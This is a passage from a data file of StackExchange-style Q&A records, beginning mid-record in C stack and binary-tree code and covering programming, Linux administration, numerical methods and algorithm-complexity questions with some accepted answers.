(int*) calloc(size + 1, sizeof(int)); if (S->array == NULL) { exit(-1); } return S;} void fillRandomStackInt(stack_int *S, int nElem){ while(!isFullStackInt(S) && nElem > 0){ pushInt(S, rand() % 500); nElem--; }} int isEmptyStackInt(stack_int *S) { return S->array[0] == 0;} int isFullStackInt(stack_int *S) { return S->array[0] == S->size - 1;}stack_int *pushInt(stack_int *S, int elem) { if (isFullStackInt(S)) return S; S->array[0]++; S->array[S->array[0]] = elem; return S;}int popInt(stack_int *S) { if (isEmptyStackInt(S)) return ERR_EMPTY_STACK_INT; S->array[0]--; return S->array[S->array[0] + 1];}int topInt(stack_int *S) { if (isEmptyStackInt(S)) return ERR_EMPTY_STACK_INT; return S->array[S->array[0]];}void freeStackInt(stack_int *S){ if(S != NULL){ free(S->array); S->array = NULL; free(S); }}stack_int.h:#include <stdio.h>#include <stdlib.h>#include <time.h>#ifndef STACK_INT_H_#define STACK_INT_H_#define ERR_EMPTY_STACK_INT 0typedef struct { int size; int *array;} stack_int;stack_int *init_stackInt(int size);void fillRandomStackInt(stack_int *S, int nElem);int isEmptyStackInt(stack_int *S);int isFullStackInt(stack_int *S);stack_int *pushInt(stack_int *S, int elem);int popInt(stack_int *S);int topInt(stack_int *S);void freeStackInt(stack_int *S);void printStackInt(stack_int *S);#endiftree.c:#include tree.hvoid insert(tree_p *tree, int val) {tree_p temp = NULL;if(!(*tree)) { temp = (tree_p) malloc(sizeof(tree)); temp->left = temp->right = NULL; temp->key = val; *tree = temp; return;}if(val < (*tree)->key) insert(&(*tree)->left,val);else if(val > (*tree)->key) insert(&(*tree)->right,val);else return;}tree.h#include <stdlib.h>#include <stdio.h>#ifndef TREE_H_#define TREE_H_typedef struct tree { int key; struct tree *left; struct tree *right;} tree, *tree_p;void insert(tree_p *tree, int val);#endif" , "title": "Counting nodes in a binary tree with odd values, using an iterative algorithm" , "tags": "algorithm;c;tree;iteration" , "accepted_answer": "Overthinking itI think when you translated the code from recursive to iterative, you were overthinking the order of operations (i.e. preorder vs inorder vs postorder). For this task, you are simply summing all the key values that are odd. So it actually doesn't matter which traversal order you use. You can just use whatever order is the most convenient.In your iterative solution, you created three stacks. The purpose of the integer stacks was (I believe) so that you could simulate the correct order of the additions. But as mentioned above, additions can be made in any order, as long as you add each odd key exactly once to the return value. So the integer stacks are totally unnecessary.Other thingsYour indentation is off everywhere, but I'm guessing you pasted the code incorrectly.You never free your stacks, so you have a memory leak there.Your header files include headers that aren't needed by the header files themselves. You should move those #includes into the .c files, where they are actually needed.Simplified solutionHere is how you could have written your function, without any of the integer stacks:int countOddIte(tree_p root){ stack *S = init_stack(100); int ret = 0; push(S, root); while (!isEmptyStack(S)) { tree_p curr = pop(S); if (curr == NULL) continue; if (curr->key % 2 == 1) ret += curr->key; push(S, curr->left); push(S, curr->right); } freeStack(S); printf(\\nRet = %d\\n, ret);}Simulating exact recursionAccording to a comment by the OP, the goal was to simulate the recursion exactly no matter how strange/inefficient the code turned out. So here, I will present a rewrite to accomplish that goal (although the code is quite ugly). A few items to note:I only used one stack, but each stack frame contains the exact information that would be contained in a normal recursive stack frame for a function.I maintain a return address at all times, which determines where in the caller the function should return to. This simulates what really happens when a function returns to its caller. I had to use goto statements to accomplish this.I used a macro on the recursive call site to simplify what the call looked like (since there were two calls almost exactly the same).I combined all your code into one .c file:Here is the code:#include <stdio.h>#include <stdlib.h>typedef struct tree { int key; struct tree *left; struct tree *right;} tree, *tree_p;void insert(tree_p *tree, int val){ tree_p temp = NULL; if(!(*tree)) { temp = (tree_p) malloc(sizeof(tree)); temp->left = temp->right = NULL; temp->key = val; *tree = temp; return; } if(val < (*tree)->key) insert(&(*tree)->left,val); else if(val > (*tree)->key) insert(&(*tree)->right,val); else return;}int countOddRecursive(tree_p T){ int ret = 0; if(T != NULL){ if(T->key % 2 == 1){ ret = T->key; } ret += countOddRecursive(T->left); ret += countOddRecursive(T->right); } return ret;}typedef struct stackNode { tree_p T; int ret; int returnAddr;} stackNode;// This macro simulates a recursive function call by pushing the current// frame onto the stack and setting the variables up as if the function// had just been called.#define countOddSimRecurse(newT, newReturnAddr) \\ stack[stackIndex].T = T; \\ stack[stackIndex].ret = ret; \\ stack[stackIndex++].returnAddr = returnAddr; \\ T = newT; \\ returnAddr = newReturnAddr; \\ goto begin;int countOddIterative(tree_p T){ stackNode stack[100]; int stackIndex = 0; int ret = 0; int funcRet = 0; int returnAddr = 0;begin: ret = 0; if (T != NULL) { if(T->key % 2 == 1){ ret = T->key; } countOddSimRecurse(T->left, 1);ret1: ret += funcRet; countOddSimRecurse(T->right, 2);ret2: ret += funcRet; } // If the stackIndex is 0, we are returning from the initial // function call, so return for real. if (stackIndex == 0) return ret; // Otherwise we are simulating a return to one of the two possible // return addresses, ret1 or ret2. We pop the previous frame from the // stack and return to wherever returnAddr tells us to return to. // Note that the value of ret is copied to funcRet because when // we return from this recursive call, ret will be set to the value // that the caller had for that variable. int returnTo = returnAddr; funcRet = ret; T = stack[--stackIndex].T; ret = stack[ stackIndex].ret; returnAddr = stack[ stackIndex].returnAddr; if (returnTo == 1) goto ret1; else if (returnTo == 2) goto ret2;}int main(void){ tree_p T = NULL; insert(&T, 54); insert(&T, 12); insert(&T, 46); insert(&T, 78); insert(&T, 6); insert(&T, 434); insert(&T, 44); insert(&T, 4); insert(&T, 552); insert(&T, 216); insert(&T, 47); insert(&T, 892); insert(&T, 74); insert(&T, 62); insert(&T, 414); insert(&T, 4442); insert(&T, 86); insert(&T, 4618); insert(&T, 798); insert(&T, 74); insert(&T, 554); insert(&T, 45); insert(&T, 776); insert(&T, 98); insert(&T, 36); insert(&T, 211); insert(&T, 24); printf(Count (recursive): %d\\n, countOddRecursive(T)); printf(Count (iterative): %d\\n, countOddIterative(T)); return 0;}" } { "id": "_unix.212172" , "question": "I am running Linux.I have a single process in a mount namespace. I did in this process a mount -t tmpfs tmpfs /mountpoint. What happens if the process exits and there are no more processes in that mount namespace?Will the filesystem be automatically unmounted? Will the mount namespace be destroyed? If the namespaces and the mount are still active how do I access it?What happens to tun/tap/macvtap interfaces if a network namespace has no more processes?" , "title": "What happens if the last process in a namespace exits?" , "tags": "linux;namespace;network namespaces" } { "id": "_unix.57336" , "question": "Currently on Ubuntu Linux, but I noticed this on other OS's too. Apparently any user can execute the sync command, but why is this? I can only see the disadvantage: system slow down due to unnecessary disk writes.Why can every user execute sync?" , "title": "Why can an unpriviliged user execute the `sync` command?" , "tags": "hard disk;synchronization" } { "id": "_scicomp.27536" , "question": "Consider one dimensional hyperbolic pde $$u_t+f'(u)u_x=0$$For the above problem ,CFL condition is $\\Delta t\\leq \\dfrac{\\Delta x}{|f'(u)|}.$ But if we include the source term $,S(u,t),$ which depend upon $u$ and $t$ in above equation i.e.$$u_t+f'(u)u_x=S(u,t)$$ What is the influence of $S(u, t)$ in the CFL condition ?." , "title": "CFL condition of source term" , "tags": "finite difference;cfl" } { "id": "_unix.309616" , "question": "Im using packer to create automated linux golden images. When I try and run a script that requires sudo, I get the following errorsudo: no tty present and no askpass program specifiedThis error has been discussed at length on the internet, the recommended advice is use one of the following: ssh using -tRemove from /etc/sudoers Defaults:username !requirettyexport SUDO_ASKPASS=/usr/libexec/openssh/ssh-askpassAdd user to suoders group %admin ALL=(ALL) NOPASSWD:ALLI've verified that the /etc/sudoers file that ships with ubuntu 16.04 does not contain requiretty. Why does ubuntu still give error sudo: no tty present and no askpass program specifiedhttps://github.com/mitchellh/vagrant/issues/1482 https://askubuntu.com/questions/281742/sudo-no-tty-present-and-no-askpass-program-specified" , "title": "How to disable requiretty on ubuntu 16.04" , "tags": "sudo;tty;pty" } { "id": "_unix.339281" , "question": "As far as I know, once an inode of a file is found, finding the data is trivial - done by accessing a specific location on the disk, which is stored in the inode. The question however is how exactly are the inodes found, when the system is given a filepath? The purpose of my question is mainly the desire to grasp the way the b-trees are implemented in real life. I understand the general idea of it, I would like to know how exactly it is implemented in Unix filesystem (if at all), though. Does each node of the tree store the inode number, with the leaves additionally storing the address on the disk of the inode itself? Or maybe the consecutive parts of the filepath?Does the implementation vary depending on whether the disk is a hard drive or an SSD?" , "title": "How exactly are files located under the hood?" , "tags": "filesystems;ssd;inode;tree" } { "id": "_codereview.127351" , "question": "I have a table that name is Store , In Store Table , just one row can IsDefault=true at time . when I insert new Row , I check If user selected IsDefault , I update other row whice isDefault=true . I use this code :public AddStatus Add(AddStoreViewModel storeViewModel) { if (Exists(storeViewModel.Name)) return AddStatus.Exists; var storeModel = Mapper.Map(storeViewModel, new StoreEntity.Store()); if (storeModel.IsDefault) { var defaultStore = GetDefault(); if (defaultStore != null) { defaultStore.IsDefault = false; _uow.MarkAsBaseChanged(defaultStore); // update } } _uow.MarkAsBaseAdded(storeModel); return AddStatus.Successfull; }and in controller I call Above Method like belowe and Call SaveAllChanges : _storeService.Add(storeViewModel); await _uow.SaveChangesAsync();and MarkAsBaseChange like belowe : public void MarkAsBaseChanged<TEntity>(TEntity entity) where TEntity : BaseEntity { Entry(entity).Entity.Action = Enums.AuditAction.Update;}is this code ok ?" , "title": "disable other default row- Entity framework" , "tags": "c#;linq" } { "id": "_vi.13238" , "question": "I have followingfunction! s:get_visual_selection() let [line_start, column_start] = getpos('<)[1:2] let [line_end, column_end] = getpos('>)[1:2] let lines = getline(line_start, line_end) if len(lines) == 0 return '' endif let lines[-1] = lines[-1][: column_end - 2] let lines[0] = lines[0][column_start - 1:] return join(lines, \\n)endfunction dependencies - tpope's surround.vim pluginfunction! s:singleDoubleQuotesToggler() {{{ select between using norm va let doubleq_sel = s:get_visual_selection() echo string(doubleq_sel) let doubleq_sel_length = strlen(doubleq_sel) echo string(doubleq_sel_length) exec norm! \\<Esc> if doubleq_sel_length == 0 echo string(single) norm cs' else echo string('double') norm cs' endifendfunction }}}nnoremap <silent> GS :call <SID>singleDoubleQuotesToggler()<CR>problem is that GS work through once and I dont know whyvideo" , "title": "Help to implement script that toggle single and double quotes" , "tags": "vimscript;visual mode" } { "id": "_cstheory.36943" , "question": "The SOM AlgorithmIn pseudo-code, for M map units represented by a vector $m \\in \\mathcal{R}^p$ where $p$ is the vector dimension, the on-line version of the SOM algorithm looks like the following:For each iteration $i in I$: For each sample $s \\in S$ Find map unit with min distance $m_{bmu} = \\argmin_{m \\n M}$ Update the Best-Matching Unit (BMU) and neighborhood closer to $m_{bmu}$There does not appear to be controversy about how the algorithm looks between various assessments of complexity.Complexity Analysis in the LiteratureKaski (1997) wrote that the complexity is $O(K^2)$ where $K$ is the number of map units. As each learning step requires $O(K)$ computations, to achieve a sufficient statistical accuracy the number of iterations should be at least some multiple of K. Presumably this means that $I$ and $M$ (in my above notation) will grow together, such that an increase in $M$ implies an increase in $I$, such that the number of distance calculations and updates grows with $K^2$, and that $N$ and $p$ are assumed as constants that can be disregarded in asymptotic analysis. Drigas and Vrettaros (2008) also report complexity as quadratic to the number of inputs, but do not perform any discussion of it, nor list any assumptions.In contrast, Roussinov and Chen (1998) described the complexity as $O(NC)$ where $N$ is the input vector size and $C$ is the number of cycles. (I.e., $p$ and $I$ in my notation, respectively). The authors claimed that this could be expressed as $O(S^2)$ as the vector dimensionality is proportional to the number of documents in a collection (i.e., the number of unique terms). Then, because each document is presented multiple times, C and be represented by $S$, thus $O(S^2)$.Lastly, Maiorana (2008) divided the algorithm into phases, and claimed that, for each iteration, the computation of the winning neuron (ie., the BMU) is $O(N^2 \\times no)$ where N is the number of input elements ($S$ in my notation) and $no$ is the number of classes or output neurons, i.e., Map Units. Now this was surprising to me. Why would computing the winning neuron require $N^2 \\times no$ computations of distance? For each sample, only one comparison to all Map Units is required.Specification of QuestionTo me, it seems like the time complexity is $O(I\\times S\\times N\\times p)$, as there are two outer loops, and the determination of the BMU requires a visit of all the map units, $M$. Clearly, any increase of either I, S or M will mean that more computations of the distance $d(s, m)$ are required. Furthermore, if the dimension $p$ is increased, an additional flop is required to compute the difference between the corresponding vector elements.Central to my question is how the complexity of this algorithm really should be reported and analyzed. There is, of course, always a chance that such an analysis already exists, but I have not been able to find it this far. There is also a question on Cross-Validated https://stats.stackexchange.com/questions/147313/what-is-the-computational-complexity-of-the-som-algorithm with an answer, but it only provides links, and no real analysis.Since all four factors I have cited above, clearly affect running time, it seems to me that the potential dependence between factors is how complexity can be squared (or cubic) with regard to some term. Unless the premise is made that any of them are fixed, I think the analysis is incomplete." , "title": "What is the computational complexity of the on-line Self-Organizing Map (SOM) algorithm?" , "tags": "time complexity" } { "id": "_webmaster.14894" , "question": "So I was developing my PHP application, right? And then all of a sudden, my sessions wont work anymore! So I checked my error log, and here is what it told me (a few times)PHP Startup: Unable to load dynamic library '/usr/local/lib/php/extensions/no-debug-non-zts-20060613/imagick.so' - /usr/local/lib/php/extensions/no-debug-non-zts-20060613/imagick.so: cannot open shared object file: No such file or directory in UnknownWhats going on? I have a regular webhost with access to cPanel. This just happend all of a sudden, and I have no clue of what to do. Help appreciated. :)" , "title": "Sessions suddenly not working in PHP, and error log contains a lot of junk now" , "tags": "php;error;session" } { "id": "_softwareengineering.250334" , "question": "This is not a question about how to number versions.We have an application with a certain version numbering scheme. We also have a Jenkins CI server (soon to be replaced with Atlassian's Bamboo) that regularly builds our software. The application displays the version number, so it's written in one of the files in our code base.We don't want to manually change the version number before releasing a version. Our current solution is that we have a Jenkins job that changes the version number in our code base, commits it, tags the repository with the version number, pushes it and then packages the application for distribution. The problem with that is that we have to decide to release a version before the build succeeds or fails. What we want to do is this: have Jenkins regularly build our product and run the unit tests. Afterwards, we want to select a passing build and release it with a certain version number. In summary, this is the process I want:Jenkins builds and tests our product regularly.When we want to release a version, we can select the last passing build from Jenkins and check to release it.The resulting release should include the version number.The commit that was built and released should be tagged with the release number.What is the best practice for releasing product versions? Is there a process that will meet my demands?" , "title": "Building software with version numbers" , "tags": "continuous integration;versioning" } { "id": "_unix.108979" , "question": "I'm trying to get a ruby script to run via cron. The cron job looks like this:* * * * * /usr/local/rvm/rubies/ruby-2.0.0-p353/bin/ruby /usr/share/adafruit/webide/repositories/shed_watcher/lib/shed_watcher.rb >> /tmp/cron_shed_watcher.log 2>&1I've encountered a couple of problems. The first was that the environment cron runs in could find one of the required gems:require rest_clientThis was solved by setting the GEM_PATH in the crontab:GEM_PATH=/usr/local/rvm/gems/ruby-2.0.0-p353:/usr/local/rvm/gems/ruby-2.0.0-p353@globalThe second problem is that the script, running on Occidentals on a Raspberry Pi, makes use of a temperature probe and needs to call:`modprobe w1-gpio``modprobe w1-therm`i.e. modprobe commands in backticks. Cron cannot execute this, instead I get an operation not permitted message. modprobe is found in /sbin so I added a path entry to my crontab:PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin/usr/local/rvm/gems/ruby-2.0.0-p353/bin:/usr/local/rvm/gems/ruby-2.0.0-p353@global/bin:....But I get the same error (not surprising as it was a not permitted message, not a not found message). What do I need to do to get this working?" , "title": "Giving cron permission to execute command" , "tags": "raspberry pi;ruby;modprobe" , "accepted_answer": "You should add your job to the root's crontab, not the user's one. User's crontabs always executed with uid/gid of the user when root crontab can contain additional field:* * * * * username /path/to/the/commandThen command will be executed with username privileges/permissions." } { "id": "_cstheory.37163" , "question": "Jerrum,Valiant and Vazirani on their paper Random generation of combinatorial structures from a uniform (http://www.cc.gatech.edu/~vazirani/AppCount.pdf) talk about seeing problems related to relations in a Existence, Construction, Uniform Generation and Counting hierarchy.In the case of the of M being a perfect matching in a bipartite graph G, we know that the problems of existence and construction are easy, and the counting problem is #P-Complete. The uniform generation problem is to generate a perfect matching in such a way that all perfect matching have the same probabilityIs anything know about the problem of uniform generation of perfect matchings?" , "title": "Complexity of Uniform Generation of Perfect Matchings" , "tags": "cc.complexity theory;reference request;graph theory;counting complexity;matching" , "accepted_answer": "The Jerrum-Sinclair-Vigoda algorithm can be used to sample perfect matchings approximately in bipartite graphs. For general graphs, as far as I know, sampling perfect matchings (approximately or exactly) is still open." } { "id": "_unix.364366" , "question": "I sometimes see this pattern in installation instructions:sh ./ poky-<...>-2.1.1.shNote the first parameter, ./.How does this method of calling sh compare to the following?sh ./poky-<...>-2.1.1.sh" , "title": "Shell script call with current dir as first parameter and shell script as second" , "tags": "linux;shell script;shell" , "accepted_answer": "This is a typographical error in the instructions that you are reading.sh ./ scriptThis would try to run the script called ./ with the string script as its first command line argument. This will fail (or at least do nothing).If you see this particular typographical error again, just remove any space between the ./ and the name of the actual script." } { "id": "_cs.18209" , "question": "Symmetric/Metric TSP can be solved via the Held-Karp algorithm in $\\mathcal O(n^2 2^n)$.See A dynamic programming approach to sequencing problems by Michael Held and Richard M. Karp, 1962.In Exact Algorithms for NP-Hard Problems: A Survey (PDF) Woeginger writes:This result was published in 1962, and from nowadays point of view almost looks trivial. Still, it yields the best time complexity that is known today.Thus, this is the best known upper-bound.Question:Are there any better results for Euclidean TSP? Or does that best-known bound apply to Euclidean TSP as well.How is Euclidean TSP different? Well,Euclidean TSP can be encoded into $\\mathcal O(n \\log m)$ space, where $n$ is the number of cities, and $m$ is the bound on the integer coordinates of the city locations. As opposed to (sym)metric TSP variants, which essentially require a distance matrix of size $\\mathcal O(n^2 \\log m)$. Thus, it might be easier to solve; for example, perhaps Euclidean TSP can be more easily encoded into k-SAT, because the distance function is implicit.Contrary to popular notion, Euclidean TSP's reduction from k-SAT is quite different from (sym)metric TSP. UHC (undirected Hamiltonian cycle), symmetric TSP, and metric TSP are pretty directly related to each-other. But formulations of reductions from (sym)metric TSP to Euclidean TSP are not easy to come by. Paragraph, from interesting article, The Travelling Salesmans Power by K. W. Regan (bold mine):Now the reductions from 3SAT to TSP, especially Euclidean TSP, are less familiar, and we ascribe this to their being far more expansive. Texts usually reduce 3SAT to Hamiltonian Cycle, then present the latter as a special case of TSP, but this does not apply to Euclidean TSP. The ${\\mathsf{NP}}$-completeness of Euclidean TSP took a few years until being shown by Christos Papadimitriou, and a 1981 paper by him with Alon Itai and Jayme Luiz Szwarcfiter advertised a new, relatively simple, proof. This proof uses vertex-induced subgraphs of the grid graph in the plane, for which the shortest possible TSP tour and any Hamiltonian cycle have the same length. Despite this simplification, the gadgets involved are largea diagram of one occupies most of one journal page.Hunting down k-SAT $\\rightarrow$ Euclidean TSP reductions is quite an adventure; so far I've found two of them. One $\\rm k\\text{-}SAT \\rightarrow CircuitSAT \\rightarrow PlanarCircuitSAT \\rightarrow EuclideanTSP$, and another, even tougher one to find, $\\rm k\\text{-}SAT \\rightarrow DHC \\rightarrow UHC \\rightarrow PlanarUHC \\rightarrow EuclideanTSP$. The latter reduction can perhaps be seen to make Euclidean TSP parallel (sym)metric TSP." , "title": "Can Euclidean TSP be exactly solved in time better than (sym)metric TSP?" , "tags": "graph theory;reference request;time complexity;np hard;traveling salesman" , "accepted_answer": "One can exploit planar separator structures in a geometric setting and thus solve Euclidean TSP exactly in $O(n^{c \\sqrt{n}})$ time, where $c$ is some small constant greater than 1. There's at least three simultaneous results for this; Smith's PhD thesis [1], Kann's PhD thesis [2], and Hwang et al. [3]. Each algorithm has a running time of $O^*(c^{\\sqrt{n} \\log n})$. This is much better than $O(n^2 2^n)$. As far as I know, it is still an open question whether the running time can be improved by say getting rid of the logarithmic term. [1] W.D. Smith, Studies in computational geometry motivated by mesh generation. Ph.D. Thesis, Princeton University, Princeton.[2] V. Kann, On the approximability of NP-complete optimization problems, Ph.D. Thesis, Kungliga Tekniska Hgskolan, Stockholm, 1992.[3] R.Z. Hwang, R.C. Chang, R.C.T. Lee, The searching over separators strategy to solve some NP-hard problems in subexponential time,Algorithmica 9 (1993) 398423." } { "id": "_codereview.169441" , "question": "Okay...so I have been self teaching for about seven months, this past week someone in accounting at work said that it'd be nice if she could get reports split up....so I made that my first program because I couldn't ever come up with something useful to try to make...all that said, I got it finished last night, and it does what I was expecting it to do so far, but I'm sure there are things that have a better way of being done. I wanted to get it finished without help first, but now I'd like someone to take a look and tell me what I could have done better, or if there is a better way to go about getting the same results....What this is doing is: it opens a CSV file (the file I've been practicing with has 27K lines of data) and it loops through, creating a separate file for each billing number, using the billing number as the filename, and writing the header as the first line. Each instance is overwriting the file if it is already created, this is an area I'm sure I could have done better. After that, it loops through the data again, appending each line of data into the correct file.import osimport csv#currentdirpath = os.getcwd()#filename = 'argos.csv'#file_path = os.path.join(os.getcwd(), filename) #filepath to opendef get_file_path(filename): ''' - This gets the full path...file and terminal need to be in same directory - ''' file_path = os.path.join(os.getcwd(), filename) return file_pathpathOfFile = get_file_path('argos.csv')''' - Below opens and reads the csv file, then going to try to loop and write the rows out in files sorted by Billing Number - '''with open(pathOfFile, 'rU') as csvfile: reader = csv.reader(csvfile) header = next(reader) for row in reader: new_file_name = row[5][:5] + '.csv' ''' Create file named by billing number, and print the header to each file ''' fb = open(new_file_name, 'w+') fb.write(str(header) + '\\n') #fb.close()with open(pathOfFile, 'rU') as csvfile: reader = csv.reader(csvfile) for row in reader: new_file_name = row[5][:5] + '.csv' ab = open(new_file_name, 'a') ab.write(str(row) + '\\n')I've left a few of the things in there that I had at one point, but commented out...just thought it might give you a better idea of what I was thinking...any advice is appreciated!" , "title": "Split data from single CSV file into several CSV files by column value" , "tags": "python;csv" , "accepted_answer": "Don't use string literals as comments. PEP 8 explains how to use comments.Docstrings should use rather than ''', as described in PEP 257. Also your docstring doesn't need the -, and should probably be rephrased slightly to fit on one line.Close files, #fb.close() shows you went out of your way to make bad code. Without fb.close or wrapping open in a with, the file is not guaranteed to be closed. I personally prefer with to fb.close, as described here.Personally, rather than over-riding your files \\$n\\$ times, I'd use collections.defaultdict, to group all your files into their rows.You may want to change get_file_path, to be based of __file__. Or leave your path to be relative, as it'll default to that behavior.import osimport csvfrom collections import defaultdictFILE_DIR = os.path.dirname(os.path.abspath(__file__))def get_file_path(filename): return os.path.join(FILE_DIR, filename)file_path = get_file_path('argos.csv')with open(file_path, 'rU') as csvfile: reader = csv.reader(csvfile) header = next(reader) data = defaultdict(lambda:[header]) _ = data[header[5][:5]] for row in reader: data[row[5][:5]].append(row) for file_name, rows in data.items(): with open(file_name, 'w+') as f: for row in rows: f.write(str(row) + '\\n')" } { "id": "_softwareengineering.182034" , "question": "Obviously, testing methods are language-independent. An integration test stays an integration test no matter what the technology. But platforms implement some kinds of testing support. And the details vary between implementations, so a programmer has to learn how to use the tools of their framework. And platforms evolve, so best practices in one version may become obsolete or at least inefficient in the next version. See for example this StackOverflow question about unit tests for which at least the first three answers seem to be valid: One describing the correct solution for the current version, one describing the solution which used to be best before the .NET framework included an ExpectedException attribute, and one describing a generic solution which is tool-independent. My question is: were there any major testing-related changes between the .NET framework versions 3.5 and 4.5? Something as disruptive to testing as introducing generics was to programming in general, or introducing the Membership framework was to authentication? Or were there only small enhancing changes? I am asking this because I wonder whether learning materials written for 3.5 are still reasonably valid today. " , "title": "Were there major changes in testing practices in ASP .NET between 3.5 and 4.5?" , "tags": "testing;asp.net;changes" , "accepted_answer": "I would say 3.5 testing information is still reasonably valid. Microsoft has added some enhancements, but I wouldn't call them disruptive or assert that the paradigm has shifted.One change is code contracts, though I don't think they affect unit testing so much as provide an additional/improved way to validate parameters, which may change the way code is tested.Most of the changes/improvements are not with the framework but more with the IDE -- Visual Studio 2012 introduces some new tools and features, including support for third-party frameworks, test management, as well as a new isolation framework called Fakes.Fakes is a great addition (if you have the 2012 Ultimate version), but arguably not much different than third-party frameworks that were available previously, most notably Typemock Isolator. " } { "id": "_webmaster.93976" , "question": "I have recently developed a website that allows users to have a sub-domain creation of our online store: www.USERNAME.example.comI need to offer the user the ability to have their own complete domain. www.USERNAME.com and then using cloaking alone with Path Forwarding replace their subdomain:www.USERNAME.com == SHOWS INSTEAD OF ==>> www.USERNAME.example.comwww.USERNAME.com/contact === SHOWS INSTEAD OF ==>> www.USERNAME.example.com/contactI need to know the best way to do this.. I know that each actual domain I will need to purchase.. but does anyone know what coding to add to the htaccess file..Please include full instructions if possible as I'm not the best at all of this?" , "title": "Path Forwarding with cloaking or masking" , "tags": "domain forwarding;masking;cloaking;path" } { "id": "_unix.120909" , "question": "U-Boot 2013.07 (Nov 21 2013 - 18:12:40)Memory: ECC disabledDRAM: 1 GiBMMC: zynq_sdhci: 0SF: Detected N25Q128A with page size 64 KiB, total 16 MiBIn: serialOut: serialErr: serialNet: Gem.e000b000Hit any key to stop autoboot: 0SF: Detected N25Q128A with page size 64 KiB, total 16 MiBSF: 11010048 bytes @ 0x520000 Read: OKWrong Image Format for bootm commandERROR: can't get kernel image!U-Boot-PetaLinux>then I would type run sdboot, and it boots from sd card, where I have put an image for sd booting.It shows that by default UBoot is booting from flash. What changes do I need to make in uboot and where so that the default boot device is SD card and not the flash?Is there any environmental variable I have to set for this? " , "title": "How to make sd card as default boot in uboot?" , "tags": "sd card;u boot" } { "id": "_softwareengineering.253421" , "question": "I'm reading algorithms and I understand most of it, one thing that I can still struggle with a lot is something as simple as running times on different for-loops. Everyone seems to have easy with that, except for me and therefore I search help here.I am currently doing some excercises from my book and I need help completing them in order to figure out the different running times.The title of the exercise is: Give the order of growth(as a function of N) of the running times of each of the following code fragmentsa:int sum = 0;for (int n = N; n > 0; n /= 2) for(int i = 0; i < n; i++) sum++;b:int sum = 0;for (int i = 1; i < N; i *= 2) for(int j = 0; j < i; j++) sum++;c:int sum = 0;for (int i = 1; i < N; i *= 2) for(int j = 0; j < N; j++) sum++;We have learned different kinds of running times/order of growth like n, n^2, n^3, Log N, N Log N etc. But I have hard understanding which to choose when the for loop differs like it does. the n, n^2, n^3 is not a problem though, but I can't tell what these for-loops running time is.Here's an attempt of something.. the y-axis represents N value and the x axis represents times the outer loop has been run. The drawings in the left is: arrow to the right = outer-loop, circle = inner loop and the current N value. I have then drawn some graphs just to look at it but I'm not sure this is right though.. Especially the last one where N remains 16 all the time. Thanks." , "title": "Running time of simple for-loops" , "tags": "algorithms;big o;runtime" , "accepted_answer": "BackgroundFor an arbitrary for loop such as:for (int p = ; ) do_something(p);it should be clear that the run time of this loop is simply the sum of the run times of the inner computations (i.e. do_something(p) in this case). Note that the run time of the inner computation may depend on the loop variable(s).In the special case where the run time of do_something(p) is independent of the loop variable(s), the run-time is then proportional to the number of times the inner computation is executed.Typically, simple arithmetic such as incrementing (sum++) are constant-time operations.For brevity I will use log to denote the base-2 logarithm. Additionally, I will use pow(x, y) to denote x raised to the power y because ^ is often used for something else in the C-family of languages.The problemsThe interesting coincidence in this set of problems is that the run time of each computation is actually proportional to the final value of the sum (can you see why?) so the question can be simplified to: how does the final value of sum vary with the parameter N?The sum can be calculated algebraically, but we don't need to know the exact result. We just need to make some good estimates.Problem Aint sum = 0;for (int n = N; n > 0; n /= 2) for (int i = 0; i < n; i++) sum++;How many times does the outer loop run? It starts at N and goes down by half each time until it hits zero. This is just (a discrete version of) an exponential decay with a base of 2. Therefore, we can make an educated guess thatn 1 / pow(2, p) [approximately]Here, we define p to be a counter that increases by 1 each time the outer loop is repeated. In fact, this is exactly what your graph plots.Where does p start? We can just pick p_start = 0 for convenience, and this allows us to determine the coefficient of proportionality: n N / pow(2, p)Where does p end? Whenever n reaches zero! Since this is integer division, n can only be zero if N < pow(2, p). From this we can deduce that p_end log(N) (base-2 logarithm). With experience, you can easily skip this entire analysis and jump straight to this conclusion instead.Now we can rewrite the loop using the variable p instead of n (again, approximately). Notice that every instance of n must be substituted:int sum = 0;for (int p = 0; p < log(N); p++) for (int i = 0; i < N / pow(2, p); i++) sum++;The advantage of writing the loop like this is that it becomes obvious how many times the outer loop is repeated. (Keen readers may notice that this is The inner loop consists of only increments to sum and is repeated N / pow(2, p) times, so we can just rewrite the above to:int sum = 0;for (int p = 0; p < log(N); p++) sum += N / pow(2, p);(Note that the run time of this loop may no longer be the same, but the value of sum still reflects the run time of the original problem.)From this code we can write the value of sum as:(As randomA noted, this is just a geometric series so there is a well-known closed-form expression for the sum. Here I use a more general technique based on calculus, however.)This can be simplified further by approximating the summation as an integral:And there you go, the run time of the problem A is linear with respect to N.Problem Bint sum = 0;for (int i = 1; i < N; i *= 2) for (int j = 0; j < i; j++) sum++;The problem here is similar, but I'll omit some of the steps. The variable i grows exponentially, so we can do the transformation:i pow(2, p)with p increasing by one at each iteration, starting from 0, and ending at log(N). After variable substitution, the loop becomes:int sum = 0;for (int p = 0; p < log(N); p++) for (int j = 0; j < pow(2, p); j++) sum++;which reduces to:int sum = 0;for (int p = 0; p < log(N); p++) sum += pow(2, p);You can apply the same tricks again to find a closed-form expression for the sum: it is also O(N).Problem Cint sum = 0;for (int i = 1; i < N; i *= 2) for (int j = 0; j < N; j++) sum++;This one is actually quite a bit easier because the number of repeats of the inner loop doesn't depend on the outer loop variable, so we can go right away and simplify this to:int sum = 0;for (int i = 1; i < N; i *= 2) sum += N;The loop has the same exponential behavior as in Problem B, so it is run only log(N) times, so this can then be simplified to:int sum = 0;sum += log(N) * N;Hence, the run time is O(N log(N))." } { "id": "_scicomp.19591" , "question": "When using the SIMPLE method on a mesh with a collocated variable arrangement, the following interpolation is used for the advecting velocities:\\begin{equation}u_f = \\overline{u}_f - \\overline{D}_f\\left(\\left(\\nabla P\\right)_f - \\overline{\\left(\\nabla P\\right)}_f\\right)\\end{equation}where the over bar denotes a geometrically interpolated quantity and\\begin{equation}D_P = \\frac{V_P}{a_P}\\end{equation}where $V_P$ is the volume of cell $P$ and $a_P$ is the central coefficient arising from the discretized momentum equation,\\begin{equation}a_Pu_P + \\sum_{F}a_Fu_F = -V_P\\nabla P\\end{equation}Anyways, my question is, how do you correctly determine $\\overline{D}_f$ at boundaries? I recently wrote a SIMPLE solver for unstructured meshes, but have noticed that the largest continuity errors are always occurring at the boundary cells, leading me to think I may have accounted for this term incorrectly (I simply extrapolate it to the boundary face). This term can be very important in the computations as it also shows up in the pressure correction equation. I also have some 